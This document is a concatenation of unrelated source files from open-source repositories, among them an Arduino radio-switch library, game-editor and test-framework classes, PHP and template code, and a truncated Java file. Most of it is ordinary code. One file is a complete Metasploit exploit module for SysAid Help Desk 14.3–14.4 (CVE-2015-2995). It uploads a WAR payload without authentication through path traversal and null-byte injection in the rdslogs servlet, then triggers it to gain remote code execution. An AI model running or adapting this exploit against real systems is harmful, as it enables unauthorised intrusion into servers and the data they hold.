this->transmit(protocol.syncFactor); } #if not defined( RCSwitchDisableReceiving ) /** * Enable receiving data */ void RCSwitch::enableReceive(int interrupt) { this->nReceiverInterrupt = interrupt; this->enableReceive(); } void RCSwitch::enableReceive() { if (this->nReceiverInterrupt != -1) { RCSwitch::nReceivedValue = 0; RCSwitch::nReceivedBitlength = 0; #if defined(RaspberryPi) // Raspberry Pi wiringPiISR(this->nReceiverInterrupt, INT_EDGE_BOTH, &handleInterrupt); #else // Arduino attachInterrupt(this->nReceiverInterrupt, handleInterrupt, CHANGE); #endif } } /** * Disable receiving data */ void RCSwitch::disableReceive() { #if not defined(RaspberryPi) // Arduino detachInterrupt(this->nReceiverInterrupt); #endif // For Raspberry Pi (wiringPi) you can't unregister the ISR this->nReceiverInterrupt = -1; } bool RCSwitch::available() { return RCSwitch::nReceivedValue != 0; } void RCSwitch::resetAvailable() { RCSwitch::nReceivedValue = 0; } unsigned long RCSwitch::getReceivedValue() { return RCSwitch::nReceivedValue; } unsigned int RCSwitch::getReceivedBitlength() { return RCSwitch::nReceivedBitlength; } unsigned int RCSwitch::getReceivedDelay() { return RCSwitch::nReceivedDelay; } unsigned int RCSwitch::getReceivedProtocol() { return RCSwitch::nReceivedProtocol; } unsigned int* RCSwitch::getReceivedRawdata() { return RCSwitch::timings; } /* helper function for the various receiveProtocol methods */ static inline unsigned int diff(int A, int B) { return abs(A - B); } /** * */ bool RCSwitch::receiveProtocol(const int p, unsigned int changeCount) { Protocol pro; memcpy_P(&pro, &proto[p-1], sizeof(Protocol)); unsigned long code = 0; const unsigned int delay = RCSwitch::timings[0] / pro.syncFactor.low; const unsigned int delayTolerance = delay * RCSwitch::nReceiveTolerance / 100; for (unsigned int i = 1; i < changeCount; i += 2) { code <<= 1; if (diff(RCSwitch::timings[i], delay * pro.zero.high) < delayTolerance && diff(RCSwitch::timings[i + 1], delay * pro.zero.low) < delayTolerance) { // zero } else if (diff(RCSwitch::timings[i], delay * pro.one.high) < delayTolerance && diff(RCSwitch::timings[i + 1], delay * pro.one.low) < delayTolerance) { // one code |= 1; } else { // Failed return false; } } if (changeCount > 6) { // ignore < 4bit values as there are no devices sending 4bit values => noise RCSwitch::nReceivedValue = code; RCSwitch::nReceivedBitlength = changeCount / 2; RCSwitch::nReceivedDelay = delay; RCSwitch::nReceivedProtocol = p; } return true; } void RCSwitch::handleInterrupt() { static unsigned int duration; static unsigned int changeCount; static unsigned long lastTime; static unsigned int repeatCount; long time = micros(); duration = time - lastTime; if (duration > RCSwitch::nSeparationLimit && diff(duration, RCSwitch::timings[0]) < 200) { repeatCount++; changeCount--; if (repeatCount == 2) { for(unsigned int i = 1; i <= numProto; i++ ) { if (receiveProtocol(i, changeCount)) { // receive succeeded for protocol i break; } } repeatCount = 0; } changeCount = 0; } else if (duration > RCSwitch::nSeparationLimit) { changeCount = 0; } if (changeCount >= RCSWITCH_MAX_CHANGES) { changeCount = 0; repeatCount = 0; } RCSwitch::timings[changeCount++] = duration; lastTime = time; } #endif /** * Turns a decimal value to its binary representation */ char* RCSwitch::dec2binWcharfill(unsigned long dec, unsigned int bitLength, char fill) { static char bin[32]; bin[bitLength] = '\0'; while (bitLength > 0) { bitLength--; bin[bitLength] = (dec & 1) ? '1' : fill; dec >>= 1; } return bin; }
mistert14/ardu-rasp1
lib2/TS/RCSwitch.cpp
C++
gpl-3.0
22,164
/* RPG Paper Maker Copyright (C) 2017-2021 Wano RPG Paper Maker engine is under proprietary license. This source code is also copyrighted. Use Commercial edition for commercial use of your games. See RPG Paper Maker EULA here: http://rpg-paper-maker.com/index.php/eula. */ #include "monstersdatas.h" #include "rpm.h" #include "common.h" #include "systemmonster.h" #include "lootkind.h" #include "systemloot.h" #include "systemmonsteraction.h" // ------------------------------------------------------- // // CONSTRUCTOR / DESTRUCTOR / GET / SET // // ------------------------------------------------------- MonstersDatas::MonstersDatas() { m_model = new QStandardItemModel; } MonstersDatas::~MonstersDatas() { SuperListItem::deleteModel(m_model); } void MonstersDatas::read(QString path){ RPM::readJSON(Common::pathCombine(path, RPM::PATH_MONSTERS), *this); } QStandardItemModel* MonstersDatas::model() const { return m_model; } // ------------------------------------------------------- // // INTERMEDIARY FUNCTIONS // // ------------------------------------------------------- void MonstersDatas::setDefault(QStandardItem* , QStandardItem* modelItems, QStandardItem* modelWeapons, QStandardItem* modelArmors) { SystemMonster* monster; SystemMonsterAction *action; QStandardItem* item; QList<QStandardItem *> row; QStandardItemModel* loots; QStandardItemModel* actions; SuperListItem* sys = nullptr; SystemLoot* loot; QString names[] = {RPM::translate(Translations::WOOLY)}; int classesIds[] = {5}; int battlersIds[] = {5}; int facesetsIds[] = {5}; int experiencesInitial[] = {5}; int experiencesFinal[] = {5000}; int experiencesEquation[] = {0}; QVector<int> currenciesIds[] = {QVector<int>({1})}; QVector<int> currenciesNb[] = {QVector<int>({1})}; QVector<LootKind> lootsKind[] = {QVector<LootKind>({LootKind::Item})}; QVector<int> lootsIds[] = {QVector<int>({1})}; QVector<int> lootsNb[] = { QVector<int>({1}) }; QVector<int> lootsProba[] = { QVector<int>({50}) }; QVector<int> lootsInit[] = { QVector<int>({1}) }; QVector<int> lootsFinal[] = { QVector<int>({100}) }; SystemProgressionTable *currenciesProgression[] = { new SystemProgressionTable(new PrimitiveValue(5), new PrimitiveValue( 1500), 0) }; int length = (sizeof(names)/sizeof(*names)); for (int i = 0; i < length; i++) { // Loots loots = new QStandardItemModel; for (int j = 0; j < lootsIds[i].size(); j++){ switch (lootsKind[i][j]){ case LootKind::Item: sys = SuperListItem::getById(modelItems, currenciesIds[i][j]); break; case LootKind::Weapon: sys = SuperListItem::getById(modelWeapons, currenciesIds[i][j]); break; case LootKind::Armor: sys = SuperListItem::getById(modelArmors, currenciesIds[i][j]); break; } loot = new SystemLoot(sys->id(), sys->name(), lootsKind[i][j], new PrimitiveValue(PrimitiveValueKind::DataBase, sys->id()), new PrimitiveValue(lootsNb[i][j]), new PrimitiveValue(lootsProba[i] [j]), new PrimitiveValue(lootsInit[i][j]), new PrimitiveValue( lootsFinal[i][j])); row = loot->getModelRow(); loots->appendRow(row); } item = new QStandardItem(); item->setText(SuperListItem::beginningText); loots->appendRow(item); // Actions actions = new QStandardItemModel; monster = new SystemMonster(i+1, names[i], classesIds[i], battlersIds[i], facesetsIds[i], SystemClass::createInheritanceClass(), new SystemProgressionTable(new PrimitiveValue(experiencesInitial[i]) , new PrimitiveValue(experiencesFinal[i]), experiencesEquation[i]), loots, actions); monster->insertCurrency(i + 1, currenciesProgression[i]); action = new SystemMonsterAction(-1, "", MonsterActionKind::UseSkill); action->setMonster(monster); actions->appendRow(action->getModelRow()); m_model->appendRow(monster->getModelRow()); } } // ------------------------------------------------------- // // READ / WRITE // // ------------------------------------------------------- void MonstersDatas::read(const QJsonObject &json){ // Clear SuperListItem::deleteModel(m_model, false); // Read QJsonArray jsonList = json["monsters"].toArray(); for (int i = 0; i < jsonList.size(); i++){ QStandardItem* item = new QStandardItem; SystemMonster* sysMonster = new SystemMonster; sysMonster->read(jsonList[i].toObject()); item->setData(QVariant::fromValue( reinterpret_cast<quintptr>(sysMonster))); item->setFlags(item->flags() ^ (Qt::ItemIsDropEnabled)); item->setText(sysMonster->toString()); m_model->appendRow(item); } } // ------------------------------------------------------- void MonstersDatas::write(QJsonObject &json) const{ QJsonArray jsonArray; for (int i = 0; i < m_model->invisibleRootItem()->rowCount(); i++){ QJsonObject jsonCommon; SystemMonster* sysMonster = reinterpret_cast<SystemMonster *>(m_model ->item(i)->data().value<quintptr>()); sysMonster->write(jsonCommon); jsonArray.append(jsonCommon); } json["monsters"] = jsonArray; }
Wano-k/RPG-Paper-Maker
Editor/Models/GameDatas/monstersdatas.cpp
C++
gpl-3.0
5,777
using System; namespace JavCrawl.Models.DbEntity { public partial class Servers { public int Id { get; set; } public DateTime? CreatedAt { get; set; } public string Data { get; set; } public sbyte? Default { get; set; } public DateTime? DeletedAt { get; set; } public string Description { get; set; } public sbyte? Status { get; set; } public string Title { get; set; } public string TitleAscii { get; set; } public string Type { get; set; } public DateTime? UpdatedAt { get; set; } } }
vibollmc/7816df50764af41dac934f89a19d804c
JavCrawl/JavCrawl/Models/DbEntity/Servers.cs
C#
gpl-3.0
591
/******************************************************************************* * xFramium * * Copyright 2016 by Moreland Labs, Ltd. (http://www.morelandlabs.com) * * Some open source application is free software: you can redistribute * it and/or modify it under the terms of the GNU General Public * License as published by the Free Software Foundation, either * version 3 of the License, or (at your option) any later version. * * Some open source application is distributed in the hope that it will * be useful, but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with xFramium. If not, see <http://www.gnu.org/licenses/>. * * @license GPL-3.0+ <http://spdx.org/licenses/GPL-3.0+> *******************************************************************************/ package org.xframium.page.keyWord; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Map; import org.apache.commons.logging.Log; import org.apache.commons.logging.LogFactory; import org.openqa.selenium.WebDriver; import org.xframium.container.SuiteContainer; import org.xframium.device.cloud.CloudDescriptor; import org.xframium.device.factory.DeviceWebDriver; import org.xframium.exception.FlowException; import org.xframium.exception.ObjectConfigurationException; import org.xframium.page.Page; import org.xframium.page.PageManager; import org.xframium.page.StepStatus; import org.xframium.page.data.PageData; import org.xframium.page.keyWord.KeyWordDriver.TRACE; import org.xframium.page.keyWord.step.SyntheticStep; import org.xframium.reporting.ExecutionContextTest; import org.xframium.spi.Device; // TODO: Auto-generated Javadoc /** * The Class KeyWordTest. */ public class KeyWordTest { /** The log. */ private Log log = LogFactory.getLog( KeyWordTest.class ); /** The name. */ private String name; /** The active. */ private boolean active; /** The data providers. */ private String[] dataProviders; /** The data driver. */ private String dataDriver; /** The timed. */ private boolean timed; /** The link id. */ private String linkId; /** The os. */ private String os; /** The description. */ private String description; /** The threshold. */ private int threshold; /** The test tags. */ private String[] testTags; /** The content keys */ private String[] contentKeys; private String[] deviceTags; private String inputPage; private String outputPage; private String[] operationList; private String mode = "function"; private int priority; private int severity; private String reliesOn = null; private TRACE trace = TRACE.OFF; private List<KeyWordParameter> expectedParameters = new ArrayList<KeyWordParameter>( 5 ); private int count; /** The step list. */ private List<KeyWordStep> stepList = new ArrayList<KeyWordStep>( 10 ); public TRACE getTrace() { return trace; } public void setTrace(TRACE trace) { this.trace = trace; } public String getReliesOn() { return reliesOn; } public void setReliesOn( String reliesOn ) { this.reliesOn = reliesOn; } public int getPriority() { return priority; } public void setPriority( int priority ) { this.priority = priority; } public int getSeverity() { return severity; } public void setSeverity( int severity ) { this.severity = severity; } /** * Instantiates a new key word test. * * @param name * the name * @param active * the active * @param dataProviders * the data providers * @param dataDriver * the data driver * @param timed * the timed * @param linkId * the link id * @param os * the os * @param threshold * the threshold * @param description * the description * @param testTags * the test tags * @param contentKeys * the content keys */ public KeyWordTest( String name, boolean active, String dataProviders, String dataDriver, boolean timed, String linkId, String os, int threshold, String description, String testTags, String contentKeys, String deviceTags, Map<String,String> overrideMap, int count, String inputPage, String outputPages, String mode, String operationList, int priority, int severity, String trace ) { this.name = name; this.active = Boolean.parseBoolean( getValue( name, "active", active + "", overrideMap ) ); String dP = getValue( name, "dataProvider", dataProviders, overrideMap ); if ( dP != null ) this.dataProviders = dP.split( "," ); this.dataDriver = getValue( name, "dataDriver", dataDriver, overrideMap ); this.timed = Boolean.parseBoolean( getValue( name, "timed", timed + "", overrideMap ) ); this.linkId = getValue( name, "linkId", linkId, overrideMap ); this.os = getValue( name, "os", os, overrideMap ); if ( threshold > 0 ) { String thresholdModifier = overrideMap.get( "thresholdModifier" ); if ( thresholdModifier != null ) { double modifierPercent = ( Integer.parseInt( thresholdModifier ) / 100.0 ); double modifierValue = Math.abs( modifierPercent ) * (double) threshold; if ( modifierPercent > 0 ) this.threshold = threshold + (int)modifierValue; else this.threshold = threshold - (int)modifierValue; } } else this.threshold = threshold; this.description = getValue( name, "description", description, overrideMap ); String value = getValue( name, "testTags", testTags, overrideMap ); if ( value != null ) this.testTags = value.split( "," ); else this.testTags = new String[] { "" }; value = getValue( name, "contentKeys", contentKeys, overrideMap ); if ( value != null ) this.contentKeys = value.split( "\\|" ); else this.contentKeys = new String[] { "" }; value = getValue( name, "deviceTags", deviceTags, overrideMap ); if ( value != null && !value.trim().isEmpty() ) this.deviceTags = value.split( "," ); this.count = Integer.parseInt( getValue( name, "count", count + "", overrideMap ) ); setMode( mode ); setInputPage( inputPage ); setOutputPage( outputPages ); setOperationList( operationList ); this.priority = priority; this.severity = severity; if ( trace != null ) this.trace = TRACE.valueOf( trace ); } public List<KeyWordParameter> getExpectedParameters() { return expectedParameters; } public void setExpectedParameters( List<KeyWordParameter> expectedParameters ) { this.expectedParameters = expectedParameters; } public String getInputPage() { return inputPage; } public void setInputPage( String inputPage ) { this.inputPage = inputPage; } public String getOutputPage() { return outputPage; } public void setOutputPage( String outputPage ) { this.outputPage = outputPage; } public String[] getOperationList() { return operationList; } public void setOperationList( String[] operationList ) { this.operationList = operationList; } public void setOperationList( String operationList ) { if ( operationList != null && !operationList.trim().isEmpty() ) this.operationList = operationList.split( "," ); } public String getMode() { return mode; } public void setMode( String mode ) { this.mode = mode; } private String getValue( String testName, String attributeName, String attributeValue, Map<String,String> overrideMap ) { String keyName = testName + "." + attributeName; if ( System.getProperty( keyName ) != null ) return System.getProperty( keyName ); if ( overrideMap != null && overrideMap.containsKey( keyName ) ) return overrideMap.get( keyName ); else return attributeValue; } public int getCount() { return count; } public void setCount( int count ) { this.count = count; } public String[] getDeviceTags() { return deviceTags; } /** * Gets the data driver. * * @return the data driver */ public String getDataDriver() { return dataDriver; } public String getDescription() { return description; } public String[] getTestTags() { return testTags; } /** * Adds the step. * * @param step * the step */ public void addStep( KeyWordStep step ) { if ( log.isDebugEnabled() ) log.debug( "Adding Step [" + step.getName() + "] to [" + name + "]" ); if ( step.isStartAt() ) { log.warn( "Clearing steps out of " + getName() + " as the startAt flag was set" ); for ( KeyWordStep kS : stepList ) kS.setActive( false ); } stepList.add( step ); } /** * Get step at offset. * * @param step * the step */ public KeyWordStep getStepAt( int offset ) { return (KeyWordStep) stepList.get( offset ); } /** * Gets the data providers. * * @return the data providers */ public String[] getDataProviders() { return dataProviders; } /** * Gets the data providers. * * @return the data providers */ public String getDataProvidersAsString() { StringBuilder sBuilder = new StringBuilder(); sBuilder.append( " [" ); for ( String provider : dataProviders ) sBuilder.append( provider ).append( ", " ); sBuilder.append( "]" ); return sBuilder.toString(); } @Override public String toString() { return "KeyWordTest [name=" + name + ", active=" + active + ", dataProviders=" + Arrays.toString( dataProviders ) + ", dataDriver=" + dataDriver + ", timed=" + timed + ", linkId=" + linkId + ", os=" + os + ", description=" + description + ", threshold=" + threshold + ", testTags=" + Arrays.toString( testTags ) + ", contentKeys=" + Arrays.toString( contentKeys ) + ", deviceTags=" + Arrays.toString( deviceTags ) + "]"; } /** * Gets the name. * * @return the name */ public String getName() { return name; } /** * Sets the name. * * @param name * the new name */ public void setName( String name ) { this.name = name; } /** * Checks if is active. * * @return true, if is active */ public boolean isActive() { return active; } /** * Checks if is timed. * * @return true, if is timed */ public boolean isTimed() { return timed; } /** * Execute test. * * @param webDriver * the web driver * @param contextMap * the context map * @param dataMap * the data map * @param pageMap * the page map * @return true, if successful * @throws Exception * the exception */ public boolean executeTest( WebDriver webDriver, Map<String, Object> contextMap, Map<String, PageData> dataMap, Map<String, Page> pageMap, SuiteContainer sC, ExecutionContextTest executionContext ) throws Exception { boolean stepSuccess = true; if ( log.isInfoEnabled() ) log.info( "*** Executing Test " + name + (linkId != null ? " linked to " + linkId : "") ); long startTime = System.currentTimeMillis(); String executionId = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getExecutionId( webDriver ); String deviceName = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getDeviceName( webDriver ); for ( KeyWordStep step : stepList ) { if ( !step.isActive() ) continue; if ( log.isDebugEnabled() ) log.debug( "Executing Step [" + step.getName() + "]" ); Page page = null; String siteName = step.getSiteName(); if ( siteName == null || siteName.isEmpty() ) { if ( sC != null ) siteName = sC.getSiteName(); else siteName = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName(); } if ( step.getPageName() != null ) { page = pageMap.get( siteName + "." + step.getPageName() ); if ( page == null ) { if ( log.isInfoEnabled() ) log.info( "Creating Page [" + siteName + "." + step.getPageName() + "]" ); page = PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).createPage( KeyWordDriver.instance( ( (DeviceWebDriver) webDriver ).getxFID() ).getPage(step.getSiteName() != null && step.getSiteName().trim().length() > 0 ? step.getSiteName() : PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName(), step.getPageName() ), webDriver ); if ( page == null ) { executionContext.startStep( new SyntheticStep( step.getPageName(), "PAGE" ), contextMap, dataMap ); executionContext.completeStep( StepStatus.FAILURE, new ObjectConfigurationException( step.getSiteName() == null ? PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).getSiteName() : step.getSiteName(), step.getPageName(), null ), null ); stepSuccess = false; return false; } pageMap.put( siteName + "." + step.getPageName(), page ); } } try { stepSuccess = step.executeStep( page, webDriver, contextMap, dataMap, pageMap, sC, executionContext ); } catch ( FlowException lb ) { throw lb; } if ( !stepSuccess ) { if ( log.isWarnEnabled() ) log.warn( "***** Step [" + step.getName() + "] Failed" ); if ( timed ) PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).addExecutionTiming( executionId, deviceName, getName(), System.currentTimeMillis() - startTime, StepStatus.FAILURE, description, threshold ); stepSuccess = false; return false; } } if ( timed ) PageManager.instance(( (DeviceWebDriver) webDriver ).getxFID()).addExecutionTiming( executionId, deviceName, getName(), System.currentTimeMillis() - startTime, StepStatus.SUCCESS, description, threshold ); return stepSuccess; } /** * Gets the os. * * @return the os */ public String getOs() { return os; } /** * Sets the os. * * @param os * the new os */ public void setOs( String os ) { this.os = os; } /** * Checks if is tagged. * * @param tagName * the tag name * @return true, if is tagged */ public boolean isTagged( String tagName ) { if ( testTags == null ) return false; for ( String testTag : testTags ) { if ( tagName.equalsIgnoreCase( testTag ) ) return true; } return false; } public boolean isDeviceTagged( String tagName ) { if ( deviceTags == null || deviceTags.length <= 0 ) return false; for ( String testTag : deviceTags ) { if ( tagName.equalsIgnoreCase( testTag ) ) return true; } return false; } /** * Gets the tags. * * @return the tags */ public String[] getTags() { if ( testTags == null ) return new String[] { "" }; else return testTags; } /** * Gets the content keys. * * @return the content keys */ public String[] getContentKeys() { return contentKeys; } public String getLinkId() { return linkId; } public void setLinkId(String linkId) { this.linkId = linkId; } }
xframium/xframium-java
framework/src/org/xframium/page/keyWord/KeyWordTest.java
Java
gpl-3.0
18,458
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4. The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated file uploads and handles zip file contents in a insecure way. By combining both weaknesses, a remote attacker can accomplish remote code execution. Note that this will only work if the target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection against null byte injection in file names. This module has been tested successfully on version v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability from being exploited. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-2995' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => false, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 3 2015')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETURI', [true, 'Base path to the SysAid application', '/sysaid/']) ], self.class) end def check servlet_path = 'rdslogs' bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), 'method' => 'POST', 'vars_get' => { 'rdsName' => bogus_file } }) if res && res.code == 200 return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def send_payload(war_payload, tomcat_path, app_base) # We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail print_status("#{peer} - Uploading WAR file...") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'rdslogs'), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(war_payload), 'ctype' => 'application/octet-stream', 'vars_get' => { 'rdsName' => "../../../../#{tomcat_path}#{app_base}.war\x00" } }) # The server either returns a 200 OK when the upload is successful. if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful, waiting for deployment") else fail_with(Failure::Unknown, "#{peer} - WAR upload failed") end end def exploit # We need to create the upload directories before our first attempt to upload the WAR. print_status("#{peer} - Creating upload directory") bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'rdslogs'), 'method' => 'POST', 'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))), 'ctype' => 'application/xml', 'vars_get' => { 'rdsName' => bogus_file } }) app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s send_payload(war_payload, 'tomcat/webapps/', app_base) register_files_for_cleanup("tomcat/webapps/#{app_base}.war") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming return if res.code == 200 end print_error("#{peer} - Failed to launch payload. Trying one last time with a different path...") # OK this might be a Linux server, it's a different traversal path. # Let's try again... send_payload(war_payload, '', app_base) register_files_for_cleanup("webapps/#{app_base}.war") 10.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end
cSploit/android.MSF
modules/exploits/multi/http/sysaid_rdslogs_file_upload.rb
Ruby
gpl-3.0
5,636
<?php $PHP_SELF = "index.php"; include 'includes/config.in.php'; include 'includes/function.in.php'; include 'includes/class.mysql.php'; include 'lang/thai_utf8.php'; include 'includes/array.in.php'; include 'includes/class.ban.php'; include 'includes/class.calendar.php'; header( 'Content-Type:text/html; charset='.ISO); $db = New DB(); $db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD); // Make sure you're using correct paths here $admin_user = empty($_SESSION['admin_user']) ? '' : $_SESSION['admin_user']; $admin_pwd = empty($_SESSION['admin_pwd']) ? '' : $_SESSION['admin_pwd']; $login_true = empty($_SESSION['login_true']) ? '' : $_SESSION['login_true']; $pwd_login = empty($_SESSION['pwd_login']) ? '' : $_SESSION['pwd_login']; $op = filter_input(INPUT_GET, 'op', FILTER_SANITIZE_STRING); $action = filter_input(INPUT_GET, 'action', FILTER_SANITIZE_STRING); $page = filter_input(INPUT_GET, 'page', FILTER_SANITIZE_STRING); $category = filter_input(INPUT_GET, 'category', FILTER_SANITIZE_STRING); $loop = empty($_POST['loop']) ? '' : $_POST['loop']; $IPADDRESS = get_real_ip(); function GETMODULE($name, $file){ global $MODPATH, $MODPATHFILE ; $targetPath = WEB_PATH; $files = str_replace('../', '', $file); $names = str_replace('../', '', $name); $modpathfile = WEB_PATH."/modules/".$names."/".$files.".php"; if (file_exists($modpathfile)) { $MODPATHFILE = $modpathfile; $MODPATH = WEB_PATH."/modules/".$names."/"; }else{ die (_NO_MOD); } } $home = WEB_URL; $admin_email = WEB_EMAIL; $yourcode = "web"; $member_num_show = 5; $member_num_show_last = 5; $member_num_last = 1; $bkk= mktime(gmdate("H")+7,gmdate("i")+0,gmdate("s"),gmdate("m") ,gmdate("d"),gmdate("Y")); $datetimeformat="j/m/y - H:i"; $now = date($datetimeformat,$bkk); //$timestamp = time(); //$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD); //$query = $db->select_query("SELECT * FROM ".TB_useronline." where timeout < $timestamp"); //while ($user3 = $db->fetch($query)){ // if ($login_true==$user3['useronline']){ // $db->del(TB_useronline," timeout < $timestamp and useronline='".$login_true."' "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } else if ($admin_user==$user3['useronline']){ // $db->del(TB_useronline," timeout < $timestamp and useronline='".$admin_user."' "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } else { // $db->del(TB_useronline," timeout < $timestamp "); // session_unset($user3['useronline']); // setcookie($user3['useronline'],''); // } //} include 'templates/'.WEB_TEMPLATES.'/function.php';
robocon/atomymaxsite
mainfile.php
PHP
gpl-3.0
2,756
<script> {literal} var columns = 5; var padding = 12; var grid_width = $('.col').width(); grid_width = grid_width - (columns * padding); percentage_width = grid_width / 100; $('#manageGrid').flexigrid ( { url: 'index.php?module=user&view=xml', dataType: 'xml', // @formatter:off colModel : [ {display: '{/literal}{$LANG.actions}{literal}' , name : 'actions' , width : 10 * percentage_width, sortable : false, align: 'center'}, {display: '{/literal}{$LANG.email}{literal}' , name : 'email' , width : 40 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.role}{literal}' , name : 'role' , width : 30 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.enabled}{literal}' , name : 'enabled' , width : 10 * percentage_width, sortable : true , align: 'left'}, {display: '{/literal}{$LANG.users}{literal}' , name : 'user_id' , width : 10 * percentage_width, sortable : true , align: 'left'} ], searchitems : [ {display: '{/literal}{$LANG.email}{literal}' , name : 'email'}, {display: '{/literal}{$LANG.role}{literal}' , name : 'ur.name'} ], // @formatter:on sortname: 'name', sortorder: 'asc', usepager: true, pagestat: '{/literal}{$LANG.displaying_items}{literal}', procmsg: '{/literal}{$LANG.processing}{literal}', nomsg: '{/literal}{$LANG.no_items}{literal}', pagemsg: '{/literal}{$LANG.page}{literal}', ofmsg: '{/literal}{$LANG.of}{literal}', useRp: false, rp: 25, showToggleBtn: false, showTableToggleBtn: false, height: 'auto' } ); {/literal} </script>
fearless359/simpleinvoices_zend2
modules/user/manage.js.php
PHP
gpl-3.0
1,674
package ca.nrc.cadc.ulm.client;/* ************************************************************************ ******************* CANADIAN ASTRONOMY DATA CENTRE ******************* ************** CENTRE CANADIEN DE DONNÉES ASTRONOMIQUES ************** * * (c) 2016. (c) 2016. * Government of Canada Gouvernement du Canada * National Research Council Conseil national de recherches * Ottawa, Canada, K1A 0R6 Ottawa, Canada, K1A 0R6 * All rights reserved Tous droits réservés * * NRC disclaims any warranties, Le CNRC dénie toute garantie * expressed, implied, or énoncée, implicite ou légale, * statutory, of any kind with de quelque nature que ce * respect to the software, soit, concernant le logiciel, * including without limitation y compris sans restriction * any warranty of merchantability toute garantie de valeur * or fitness for a particular marchande ou de pertinence * purpose. NRC shall not be pour un usage particulier. * liable in any event for any Le CNRC ne pourra en aucun cas * damages, whether direct or être tenu responsable de tout * indirect, special or general, dommage, direct ou indirect, * consequential or incidental, particulier ou général, * arising from the use of the accessoire ou fortuit, résultant * software. Neither the name de l'utilisation du logiciel. Ni * of the National Research le nom du Conseil National de * Council of Canada nor the Recherches du Canada ni les noms * names of its contributors may de ses participants ne peuvent * be used to endorse or promote être utilisés pour approuver ou * products derived from this promouvoir les produits dérivés * software without specific prior de ce logiciel sans autorisation * written permission. préalable et particulière * par écrit. * * This file is part of the Ce fichier fait partie du projet * OpenCADC project. OpenCADC. * * OpenCADC is free software: OpenCADC est un logiciel libre ; * you can redistribute it and/or vous pouvez le redistribuer ou le * modify it under the terms of modifier suivant les termes de * the GNU Affero General Public la “GNU Affero General Public * License as published by the License” telle que publiée * Free Software Foundation, par la Free Software Foundation * either version 3 of the : soit la version 3 de cette * License, or (at your option) licence, soit (à votre gré) * any later version. toute version ultérieure. * * OpenCADC is distributed in the OpenCADC est distribué * hope that it will be useful, dans l’espoir qu’il vous * but WITHOUT ANY WARRANTY; sera utile, mais SANS AUCUNE * without even the implied GARANTIE : sans même la garantie * warranty of MERCHANTABILITY implicite de COMMERCIALISABILITÉ * or FITNESS FOR A PARTICULAR ni d’ADÉQUATION À UN OBJECTIF * PURPOSE. See the GNU Affero PARTICULIER. Consultez la Licence * General Public License for Générale Publique GNU Affero * more details. pour plus de détails. * * You should have received Vous devriez avoir reçu une * a copy of the GNU Affero copie de la Licence Générale * General Public License along Publique GNU Affero avec * with OpenCADC. If not, see OpenCADC ; si ce n’est * <http://www.gnu.org/licenses/>. pas le cas, consultez : * <http://www.gnu.org/licenses/>. * * ************************************************************************ */ import java.io.File; import java.net.URISyntaxException; public class FileLoader { public static File fromClasspath(final String name) throws URISyntaxException { return new 